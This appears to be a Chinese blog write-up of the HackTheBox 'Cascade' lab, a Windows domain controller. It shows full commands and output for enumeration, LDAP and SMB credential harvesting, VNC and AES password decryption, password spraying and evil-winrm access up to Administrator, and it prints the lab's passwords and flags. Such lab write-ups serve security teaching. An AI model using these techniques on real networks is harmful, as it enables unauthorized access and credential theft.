本文最后更新于10 天前，其中的信息可能已经过时，如有错误请发送邮件到mxc_1218@qq.com
0x00 总结
ldap属性发现遗留pwd- 枚举
smb共享发现VNC加密密码 smb共享发现 数据库连接.db文件和.exe连接程序- 逆向解密获得密码
- 查询删除的用户
ldap属性 同样发现 遗留密码 - 用遗留密码登入成功
0x01 初步信息收集
1.1 nmap 端口扫描
┌──(kali㉿kali)-[~/htb/cascade]
└─$ nmap -p- 10.129.11.11 --min-rate 1000 -oA nmapscan/portscan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-04 11:27 EDT
Stats: 0:01:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 76.91% done; ETC: 11:30 (0:00:30 remaining)
Stats: 0:03:09 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 96.28% done; ETC: 11:31 (0:00:07 remaining)
Nmap scan report for cascade.local (10.129.11.11)
Host is up (0.27s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49166/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 198.70 seconds
1.2 rpc 服务用户枚举
┌──(kali㉿kali)-[~/htb/cascade]
└─$ rpcclient -U '' -N 10.129.11.11
rpcclient $> usersenum
command not found: usersenum
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
1.3 提取用户名
先写入
┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo 'user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
'>users.txt
再用 awk 提取
┌──(kali㉿kali)-[~/htb/cascade]
└─$ awk -F '[][]' '{print $2}' users.txt > users2.txt
┌──(kali㉿kali)-[~/htb/cascade]
└─$ cat users2.txt
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
这样我们就有了一些用户名
1.4 ldap 属性查看
ldap 属性获取
先查询完整域名
┌──(kali㉿kali)-[~/htb/cascade]
└─$ ldapsearch -x -H ldap://10.129.11.11 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
域名为 cascade.local
再读取所有用户的详细属性
┌──(kali㉿kali)-[~/htb/cascade]
└─$ ldapsearch -x -H ldap://10.129.11.11 -b "DC=cascade,DC=local" "(objectClass=user)"
输出非常多，其中 Ryan Thompson 这个用户有一个不是规定的属性 cascadeLegacyPwd: 泄露的凭证 clk0bjVldmE=
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20260704070452.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 344774
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 1
codePage: 0
countryCode: 0
badPasswordTime: 134276429079819485
lastLogoff: 0
lastLogon: 134276338224479906
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 16
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 134276222924053392
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
将其 base64 解码得到
┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo 'clk0bjVldmE=' |base64 -d
rY4n5eva
配合之前的用户名获得一组凭证 r.thompson：rY4n5eva
0x02 内网信息收集
2.1 smb 共享枚举
用 r.thompson：rY4n5eva 枚举 smb 共享
┌──(kali㉿kali)-[~/htb/cascade]
└─$ nxc smb 10.129.11.11 -u r.thompson -p rY4n5eva --shares
SMB 10.129.11.11 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.11.11 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
SMB 10.129.11.11 445 CASC-DC1 [*] Enumerated shares
SMB 10.129.11.11 445 CASC-DC1 Share Permissions Remark
SMB 10.129.11.11 445 CASC-DC1 ----- ----------- ------
SMB 10.129.11.11 445 CASC-DC1 ADMIN$ Remote Admin
SMB 10.129.11.11 445 CASC-DC1 Audit$
SMB 10.129.11.11 445 CASC-DC1 C$ Default share
SMB 10.129.11.11 445 CASC-DC1 Data READ
SMB 10.129.11.11 445 CASC-DC1 IPC$ Remote IPC
SMB 10.129.11.11 445 CASC-DC1 NETLOGON READ Logon server share
SMB 10.129.11.11 445 CASC-DC1 print$ READ Printer Drivers
SMB 10.129.11.11 445 CASC-DC1 SYSVOL READ Logon server share
显示 Data 目录可读
2.2 查看 Data 目录
用凭证连接
┌──(kali㉿kali)-[~/htb/cascade]
└─$ smbclient //10.129.11.11/Data -U r.thompson%'rY4n5eva'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jan 26 22:27:34 2020
.. D 0 Sun Jan 26 22:27:34 2020
Contractors D 0 Sun Jan 12 20:45:11 2020
Finance D 0 Sun Jan 12 20:45:06 2020
IT D 0 Tue Jan 28 13:04:51 2020
Production D 0 Sun Jan 12 20:45:18 2020
Temps D 0 Sun Jan 12 20:45:15 2020
6553343 blocks of size 4096. 1615163 blocks available
smb: \>
按顺序查看，发现 IT 目录可读
smb: \IT\> ls
. D 0 Tue Jan 28 13:04:51 2020
.. D 0 Tue Jan 28 13:04:51 2020
Email Archives D 0 Tue Jan 28 13:00:30 2020
LogonAudit D 0 Tue Jan 28 13:04:40 2020
Logs D 0 Tue Jan 28 19:53:04 2020
Temp D 0 Tue Jan 28 17:06:59 2020
6553343 blocks of size 4096. 1615163 blocks available
smb: \IT\>
按顺序查看
smb: \IT\> cd "Email Archives"
smb: \IT\Email Archives\> ls
. D 0 Tue Jan 28 13:00:30 2020
.. D 0 Tue Jan 28 13:00:30 2020
Meeting_Notes_June_2018.html An 2522 Tue Jan 28 13:00:12 2020
6553343 blocks of size 4096. 1615163 blocks available
smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \IT\Email Archives\>
发现一个 html 文件下载后查看
说到有一个临时账户 TempAdmin 用来测试，密码与管理员一样
继续查看其他内容
在 \IT\Temp\s.smith\ 目录下发现了一个 reg 注册表文件
smb: \IT\Temp\s.smith\> ls
. D 0 Tue Jan 28 15:00:01 2020
.. D 0 Tue Jan 28 15:00:01 2020
VNC Install.reg A 2680 Tue Jan 28 14:27:44 2020
6553343 blocks of size 4096. 1615161 blocks available
smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (2.7 KiloBytes/sec) (average 2.0 KiloBytes/sec)
下载后读取
┌──(kali㉿kali)-[~/htb/cascade]
└─$ cat VNC\ Install.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
2.3 解密 TightVNC
其中 "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
进行解密，这个是 TightVNC 硬编码 可解密
我用 vncpwd 来解密，需要安装与编译
┌──(decypt_env)─(kali㉿kali)-[~/htb/cascade/vncpwd]
└─$ echo '6bcf2a4b6e5aca0f' | xxd -r -p > vnc_enc.bin
┌──(decypt_env)─(kali㉿kali)-[~/htb/cascade/vncpwd]
└─$ ./vncpwd vnc_enc.bin
Password: sT333ve2
获得新密码
用它做密码喷洒
┌──(kali㉿kali)-[~/htb/cascade]
└─$ nxc smb 10.129.11.11 -u users2.txt -p sT333ve2 --continue-on-success
SMB 10.129.11.11 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\CascGuest:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\arksvc:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [+] cascade.local\s.smith:sT333ve2
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\r.thompson:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\util:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.wakefield:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\s.hickson:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.goodhand:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\a.turnbull:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\e.crowe:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\b.hanson:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\d.burman:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\BackupSvc:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.allen:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\i.croft:sT333ve2 STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\:sT333ve2 STATUS_LOGON_FAILURE
获得一组新的凭据 s.smith:sT333ve2
0x03 横向移动
3.1 smb 共享枚举
┌──(kali㉿kali)-[~/htb/cascade]
└─$ nxc smb 10.129.11.11 -u s.smith -p sT333ve2 --shares
SMB 10.129.11.11 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.11.11 445 CASC-DC1 [+] cascade.local\s.smith:sT333ve2
SMB 10.129.11.11 445 CASC-DC1 [*] Enumerated shares
SMB 10.129.11.11 445 CASC-DC1 Share Permissions Remark
SMB 10.129.11.11 445 CASC-DC1 ----- ----------- ------
SMB 10.129.11.11 445 CASC-DC1 ADMIN$ Remote Admin
SMB 10.129.11.11 445 CASC-DC1 Audit$ READ
SMB 10.129.11.11 445 CASC-DC1 C$ Default share
SMB 10.129.11.11 445 CASC-DC1 Data READ
SMB 10.129.11.11 445 CASC-DC1 IPC$ Remote IPC
SMB 10.129.11.11 445 CASC-DC1 NETLOGON READ Logon server share
SMB 10.129.11.11 445 CASC-DC1 print$ READ Printer Drivers
SMB 10.129.11.11 445 CASC-DC1 SYSVOL READ Logon server share
Audit$ 可读
查看
┌──(kali㉿kali)-[~/htb/cascade]
└─$ smbclient //10.129.11.11/Audit$ -U s.smith%'sT333ve2'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 29 13:01:26 2020
.. D 0 Wed Jan 29 13:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 16:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 13:00:20 2020
DB D 0 Tue Jan 28 16:40:59 2020
RunAudit.bat A 45 Tue Jan 28 18:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019
x64 D 0 Sun Jan 26 17:25:27 2020
x86 D 0 Sun Jan 26 17:25:27 2020
6553343 blocks of size 4096. 1615008 blocks available
smb: \>
切换到 非交互模式全部下载下来
smb: \> prompt off
smb: \> mget *
getting file \CascAudit.exe of size 13312 as CascAudit.exe (5.8 KiloBytes/sec) (average 5.8 KiloBytes/sec)
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (10.8 KiloBytes/sec) (average 7.5 KiloBytes/sec)
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.1 KiloBytes/sec) (average 6.0 KiloBytes/sec)
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (45.8 KiloBytes/sec) (average 31.8 KiloBytes/sec)
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (71.0 KiloBytes/sec) (average 38.7 KiloBytes/sec)
smb: \> cd DB
smb: \DB\> ls
. D 0 Tue Jan 28 16:40:59 2020
.. D 0 Tue Jan 28 16:40:59 2020
Audit.db An 24576 Tue Jan 28 16:39:24 2020
ge
6553343 blocks of size 4096. 1614748 blocks available
smb: \DB\> get Audit.db
getting file \DB\Audit.db of size 24576 as Audit.db (11.5 KiloBytes/sec) (average 35.3 KiloBytes/sec)
smb: \DB\>
0x04 逆向
4.1 信息收集
先看一眼 .bat 文件
┌──(decypt_env)─(kali㉿kali)-[~/htb/cascade]
└─$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
运行了 CascAudit.exe 文件从 Audit.db 读取扫描东西
看一下 Audit.db 文件
┌──(decypt_env)─(kali㉿kali)-[~/htb/cascade]
└─$ sqlite3 Audit.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit Ldap Misc
sqlite> select from *
...> ;
Parse error: near "from": syntax error
select from * ;
^--- error here
sqlite> select * from D
DATABASE DEFERRABLE DELETE DETACH DO DeletedUserAudit domain
DEFAULT DEFERRED DESC DISTINCT DROP DistinguishedName
sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> select * from Misc;
其中 TempAdmin 的属性 CN=Deleted Objects,DC=cascade,DC=local 值得注意
但更重要的是 ArkSvc 的密码 BQO5l5Kj9MdErXx6Q6AGOw== 应该是做了加密手段
我们尝试逆向 CascAudit.exe 文件
4.2 静态逆向
我在另一台 windows 虚拟机中使用 dnSpy 进行分析
在 CascAudit.exe 的 main 中能找到密钥 c4scadek3y654321
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321")
在 CascadeCrypto.dll 中能找到 IV的值，并且确定加密方法为 AES-128-CBC
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
用 cyberchef 解密
得到密码 w3lc0meFr31nd
进行密码喷洒
┌──(kali㉿kali)-[~/htb/cascade]
└─$ nxc smb 10.129.11.11 -u users2.txt -p w3lc0meFr31nd --continue-on-success
SMB 10.129.11.11 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\CascGuest:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [+] cascade.local\arksvc:w3lc0meFr31nd
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\s.smith:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\r.thompson:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\util:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.wakefield:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\s.hickson:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.goodhand:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\a.turnbull:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\e.crowe:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\b.hanson:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\d.burman:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\BackupSvc:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\j.allen:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\i.croft:w3lc0meFr31nd STATUS_LOGON_FAILURE
SMB 10.129.11.11 445 CASC-DC1 [-] cascade.local\:w3lc0meFr31nd STATUS_LOGON_FAILURE
又拿到一个新凭据 arksvc:w3lc0meFr31nd
0x05 提权
5.1 获取 shell
┌──(kali㉿kali)-[~/htb/cascade]
└─$ evil-winrm -i cascade.local -u 'arksvc' -p 'w3lc0meFr31nd'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents>
5.2 查询组信息
查询该用户的组
*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\AD Recycle Bin Alias S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
发现在 AD Recycle Bin 活动目录回收站 组内，有理由怀疑他可能可以接触到 TempAdmin 相关的东西，用该账号查询
5.3 查询回收站
查询 TempAdmin 用户信息
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -Filter 'sAMAccountName -eq "TempAdmin"' -IncludeDeletedObjects -Properties *
accountExpires : 9223372036854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage : 0
countryCode : 0
Created : 1/27/2020 3:23:08 AM
createTimeStamp : 1/27/2020 3:23:08 AM
Deleted : True
Description :
DisplayName : TempAdmin
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName : TempAdmin
instanceType : 4
isDeleted : True
LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff : 0
lastLogon : 0
logonCount : 0
Modified : 1/27/2020 3:24:34 AM
modifyTimeStamp : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN : TempAdmin
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet : 132245689883479503
sAMAccountName : TempAdmin
sDRightsEffective : 0
userAccountControl : 66048
userPrincipalName : TempAdmin@cascade.local
uSNChanged : 237705
uSNCreated : 237695
whenChanged : 1/27/2020 3:24:34 AM
whenCreated : 1/27/2020 3:23:08 AM
发现 cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz
解码获得 baCT3r1aN00dles
对 Administrator 进行登入尝试
┌──(kali㉿kali)-[~/htb/cascade]
└─$ evil-winrm -i cascade.local -u Administrator -p baCT3r1aN00dles
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
成功提权
查看 flag
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
81f8aacaaf7375342972a1ed64579afe
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../../s.smith/desktop/user.txt
df4348ac2de278ab47c026693b177700